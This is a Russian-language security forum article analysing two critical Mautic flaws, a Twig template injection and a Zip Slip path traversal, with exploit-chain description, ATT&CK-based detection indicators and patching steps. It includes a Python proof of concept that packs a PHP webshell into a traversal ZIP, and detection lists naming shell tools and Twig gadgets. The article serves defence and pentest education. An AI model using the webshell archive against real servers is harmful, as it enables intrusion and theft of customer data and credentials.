Сергей Попов
Администратор
- 30.12.2015
- 6 253
- 6 979
- Специализация
- OSINT
- Веб-безопасность
- Статус верификации
- ✓ Verified
Уязвимость в движке тем Mautic, позволяющая выполнить произвольный код через Twig-шаблоны, жила в кодовой базе с версии 1.3.0. Больше десяти лет. 29 мая 2026 года её зафиксировали как CVE-2026-9558 с оценкой CVSS 9.9, а заодно опубликовали CVE-2026-9559 - path traversal через импорт кампаний, тоже 9.9. Каждая из уязвимостей даёт RCE по отдельности. Вместе - цепочка, которая превращает аккаунт контент-менеджера с минимальными правами в полный контроль над сервером. Ниже - разбор обеих CVE, механика эксплуатации, детект и патчинг.
Бизнес-логика атаки: зачем ломать маркетинговую платформу
Mautic - open-source платформа marketing automation для email-рассылок, lead scoring и управления кампаниями. Self-hosted инсталляция Mautic хранит:- Базы контактов с PII (email, телефоны, история взаимодействий) - готовый материал для целевого фишинга или продажи на даркнете
- SMTP-конфигурацию и API-ключи к провайдерам рассылок - инфраструктура для отправки писем от имени компании (BEC-атаки)
- OAuth-токены интеграций с CRM (Salesforce, HubSpot, Pipedrive) и платёжными системами
- Прямой сетевой доступ в корпоративную инфраструктуру - Mautic обычно стоит в DMZ или продакшн-сегменте с минимальным hardening
CVE-2026-9558: Twig SSTI уязвимость в движке тем Mautic
Корневая причина и CVSS-вектор
Mautic рендерит файлы тем через шаблонизатор Twig. Корневая проблема проста до боли: движок вызывается безTwig\Sandbox\SecurityPolicy - нет ни allowlist функций, ни ограничений на доступные теги и фильтры. Каждый .twig-файл из загруженного через Theme Manager ZIP-архива обрабатывается так, будто его написал доверенный разработчик. Десять лет. Без песочницы.По данным NVD, уязвимость классифицирована как CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) - подкласс CWE-94 (Code Injection). Затронутые языки по каталогу MITRE CWE: Java, PHP, Python, JavaScript и другие интерпретируемые. В случае Mautic - PHP.
CVSS-вектор:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 (Critical)Разбор по компонентам:
- AV:N - атака по сети через веб-интерфейс Mautic
- AC:L - сложность низкая, эксплойт тривиален
- PR:L - нужна аутентификация, но хватает низких привилегий (контент-менеджер с правом
core:themes:create) - UI:N - действий от другого пользователя не требуется
- S:C - scope changed: код выполняется в PHP-процессе web-сервера, влияя на ОС за пределами приложения
mautic/core начиная с версии 1.3.0 (по данным OSV.dev). Исправлена в 5.2.11, 6.0.9, 7.1.2; для Mautic 4.x - 4.4.20 через ELTS. Детали патча - в GitHub Security Advisory GHSA-9fx4-7cmj-47vg.Предусловия и ограничения
Работает если:- Mautic версии <= 7.1.1 (или <= 6.0.8, <= 5.2.10, <= 4.4.19)
- У атакующего есть аккаунт с правом
theme:themes:createилиcore:themes:create - Тема рендерится при preview или activation - ждать реальной рассылки не нужно
- Директория
themes/примонтирована как read-only для пользователя web-сервера (www-data / nginx) - WAF инспектирует содержимое загружаемых ZIP-архивов и блокирует файлы с Twig-мета-синтаксисом (
{{,{%) и обращениями к_self,system,exec - Mautic обновлён до патченной версии с Twig Sandbox
Automatable: no). Но технический импакт - total. Перевод на человеческий: mass exploitation маловероятен из-за необходимости аутентификации, но при целевой атаке последствия максимальные. Именно тот случай, когда EPSS успокаивает, а kill chain - нет.[Применимо: внешний пентест (Mautic доступен из интернета) и внутренний пентест, grey box с учётной записью]
CVE-2026-9559: Path Traversal через импорт кампаний в Mautic 7
Механика Zip Slip и тройная классификация CWE
Вторая уязвимость - классический Zip Slip в функции импорта кампаний. Mautic принимает ZIP-архив через эндпоинт campaign import, распаковывает во временную директорию и обрабатывает содержимое. Валидация путей файлов внутри архива не фильтрует../ в именах файлов. Zip Slip в 2026 году - казалось бы, всё давно разобрано, но нет.По данным NVD, уязвимости присвоены три CWE:
- CWE-22 (Path Traversal) - недостаточная валидация путей при обработке имён файлов
- CWE-73 (External Control of File Name or Path) - атакующий контролирует путь записи
- CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program) - возможность влиять на PHP-операции
include/requireчерез контролируемое имя файла
include/require - кэш Symfony, конфигурацию, автозагрузку классов. Запись файла превращается в выполнение кода без прямого обращения к записанному файлу через URL.CVSS-вектор идентичен CVE-2026-9558:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 (Critical). EPSS - 0.0058 (44-й перцентиль), CISA SSVC - Track с Technical Impact: total.Критическое отличие от CVE-2026-9558: path traversal затрагивает только Mautic 7.x (пакет
mautic/core от 7.0.0, исправлен в 7.1.2 - по данным OSV.dev). На 5.x и 6.x эта CVE не распространяется.Предусловия и ограничения
Работает если:- Mautic >= 7.0.0 и < 7.1.2
- У атакующего есть аккаунт с правом
campaign:imports:create - PHP-процесс имеет права записи за пределами временной директории (дефолт)
- Файловая система ограничивает запись PHP-процесса через
open_basedir, AppArmor или SELinux - Mautic 5.x или 6.x - уязвимость появилась только в 7.x
- ZIP проходит через WAF/прокси, который проверяет имена файлов в архиве на
../ - Контейнерный деплой (Docker) с read-only filesystem и tmpfs для временных файлов - запись за пределы контейнера невозможна
Цепочка эксплойтов Mautic 7: от загрузки темы до RCE
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
,
var/cache/ или app/config/.
Python:
# Пример создания ZIP с path traversal (демонстрация концепции)
import zipfile
with zipfile.ZipFile("campaign.zip", "w") as z:
z.writestr(
"../../../public/media/files/health.php",
'<?php if(isset($_GET["c"])) system($_GET["c"]); ?>'
)
health.php оказывается в публичной директории и доступен через https://mautic.target.com/media/files/health.php?c=whoami. Через CWE-98 возможен альтернативный вектор - перезапись компонента кэша Symfony, который Mautic подключает через require при следующем запросе. Тут даже webshell в webroot не нужен - перезаписал кэш, и код выполнится при обычном обращении к Mautic.Место в kill chain: Exploit Public-Facing Application (T1190, Initial Access) → Web Shell (T1505.003, Persistence) → Web Protocols (T1071.001, Command and Control) → Ingress Tool Transfer (T1105, Command and Control).
Комбинированная цепочка
Наибольший интерес для пентеста - комбинация обоих путей. CVE-2026-9558 (SSTI) даёт моментальный RCE для разведки: чтение конфигурации, определение структуры директорий, проверка прав PHP-процесса. Затем через CVE-2026-9559 (path traversal) записывается persistent webshell - SSTI при повторном рендере темы может быть обнаружена и удалена, а webshell вpublic/media/ переживёт обновление тем. Разведка через одну CVE, закрепление через другую.Альтернативный сценарий для атакующего с правом
campaign:imports:create, но без theme:themes:create: CVE-2026-9559 позволяет записать .twig-файл в директорию themes/, создав условия для SSTI - даже без прямых прав на загрузку темы. Одна CVE прокладывает дорогу другой.Обнаружение CVE-2026-9558 CVE-2026-9559: MITRE ATT&CK и индикаторы компрометации
Полная карта техник MITRE ATT&CK для цепочки эксплуатации Mautic RCE:| Этап | Техника | ATT&CK ID | Что искать |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | POST к /s/themes/upload или /s/campaigns/import с ZIP |
| Execution | Unix Shell | T1059.004 | Дочерние процессы sh, bash, curl у PHP-FPM |
| Persistence | Web Shell | T1505.003 | Новые .php в public/, themes/, var/cache/ |
| Discovery | File and Directory Discovery | T1083 | Чтение local.php, .env, /etc/passwd |
| Defense Evasion | Template Injection | T1221 | .twig с _self, getEnvironment, registerUndefinedFilterCallback |
| C2 | Web Protocols | T1071.001 | HTTP к нетипичным PHP-файлам в webroot |
| C2 | Ingress Tool Transfer | T1105 | Исходящие соединения после загрузки темы/кампании |
Индикаторы компрометации в логах Mautic
Аудит-лог Mautic: событияtheme.create, theme.upload, theme.activate от неадминистративных аккаунтов - первый красный флаг. Корреляция с campaign.import от того же пользователя в пределах одной сессии - вероятная цепочка.Access log web-сервера: POST-запросы к эндпоинтам загрузки с
Content-Type: multipart/form-data, за которыми следуют GET-запросы к нетипичным .php-файлам в public/media/ или themes/. Интервал между POST и GET - обычно секунды, не минуты.Процессы на хосте: PHP-FPM порождает
sh -c, bash, curl, wget, nc - аномалия для marketing-приложения. Мониторинг через auditd или EDR: правило на execve от процесса с ppid = PHP-FPM worker. Если маркетинговая платформа спавнит шеллы - что-то явно пошло не так.File Integrity Monitoring: FIM на директориях
themes/, var/cache/, public/, app/config/. Появление новых .php или .twig файлов вне CI/CD-цикла - немедленный алерт.Инспекция архивов: если WAF или middleware позволяет - проверять содержимое ZIP до передачи Mautic:
../ в именах файлов, <?php внутри файлов, Twig-синтаксис с обращениями к system, exec, passthru.По классификации OWASP Top 10 (2021): CVE-2026-9558 попадает под A03:2021 - Injection (SSTI как подкласс инъекции), обе CVE - под A06:2021 - Vulnerable and Outdated Components. Слабое логирование загрузок - A09:2021 - Security Logging and Monitoring Failures.
Патчинг и митигация уязвимостей Mautic 7
Немедленные действия до обновления:- Отозвать права
theme:themes:createиcampaign:imports:createу всех пользователей, кроме доверенных администраторов. Да, маркетологи будут недовольны. Пусть будут недовольны. - Закрыть запись в директорию
themes/на уровне файловой системы:
Bash:
# Ограничение записи в themes/ для web-сервера
sudo chown -R root:www-data /var/www/mautic/themes
sudo find /var/www/mautic/themes -type d -exec chmod 750 {} \;
sudo find /var/www/mautic/themes -type f -exec chmod 640 {} \;
# Проверка: не должно быть writable-файлов для www-data
sudo -u www-data find /var/www/mautic/themes -writable
- Ротировать все секреты из
local.phpи.env: пароли БД, API-ключи SMTP, OAuth-токены интеграций. Если компрометация уже произошла - эти данные утекли первыми. - Разместить административный интерфейс за VPN или IP-allowlist.
- PHP-процесс запустить под пользователем без shell (
/usr/sbin/nologin), без sudo, сopen_basedirограничением на корень Mautic.
| Ветка Mautic | Патченная версия | Какие CVE закрывает |
|---|---|---|
| 7.x | 7.1.2 | CVE-2026-9558 + CVE-2026-9559 |
| 6.x | 6.0.9 | CVE-2026-9558 |
| 5.x | 5.2.11 | CVE-2026-9558 |
| 4.x (ELTS) | 4.4.20 | CVE-2026-9558 |
Патч для CVE-2026-9558 внедряет
Twig\Sandbox\SecurityPolicy с allowlist разрешённых функций и фильтров. Патч для CVE-2026-9559 добавляет нормализацию путей файлов при распаковке ZIP - стандартный fix для Zip Slip (сравнение canonical path распакованного файла с target directory). Подробности - в GitHub Security Advisory GHSA-9fx4-7cmj-47vg.Аудит существующих тем тоже обязателен: проверить все
.twig-файлы в themes/ на наличие обращений к _self.env, getEnvironment, registerUndefinedFilterCallback и вызовов PHP-функций. Всё, что не создано вашей командой разработки - удалить и расследовать.Две критические CVE в одном релизе marketing automation платформы - и обе эксплуатируются аутентифицированным пользователем с минимальными привилегиями. EPSS ниже медианы, CISA говорит "Track", mass exploitation не прогнозируется. По документам можно выдохнуть. На практике - рано.
PR:L в CVSS-векторе здесь означает аккаунт, который в половине инсталляций Mautic имеет каждый второй сотрудник маркетингового отдела и каждый подрядчик. Automatable: no - но целевому злоумышленнику автоматизация не нужна. Один скомпрометированный аккаунт, один ZIP-архив, один HTTP-запрос - и маркетинговая инфраструктура с базами клиентов, SMTP-конфигурацией и OAuth-токенами под контролем.
Mautic рендерил Twig без песочницы с версии 1.3.0. Не потому что реализация Twig Sandbox технически сложна - API существует давно и документирован. А потому что загрузка тем считалась «внутренним» функционалом для «своих». Я наблюдаю эту системную ошибку доверия к внутреннему пользователю в каждом втором PHP-приложении с пользовательскими шаблонами - от WordPress с кастомными Blade-вьюхами до Symfony-based CMS с Twig. Дело не в конкретном шаблонизаторе, а в архитектурном решении «наш пользователь не будет вставлять вредоносный код в шаблон». В 2026 году такие допущения обходятся в CVSS 9.9.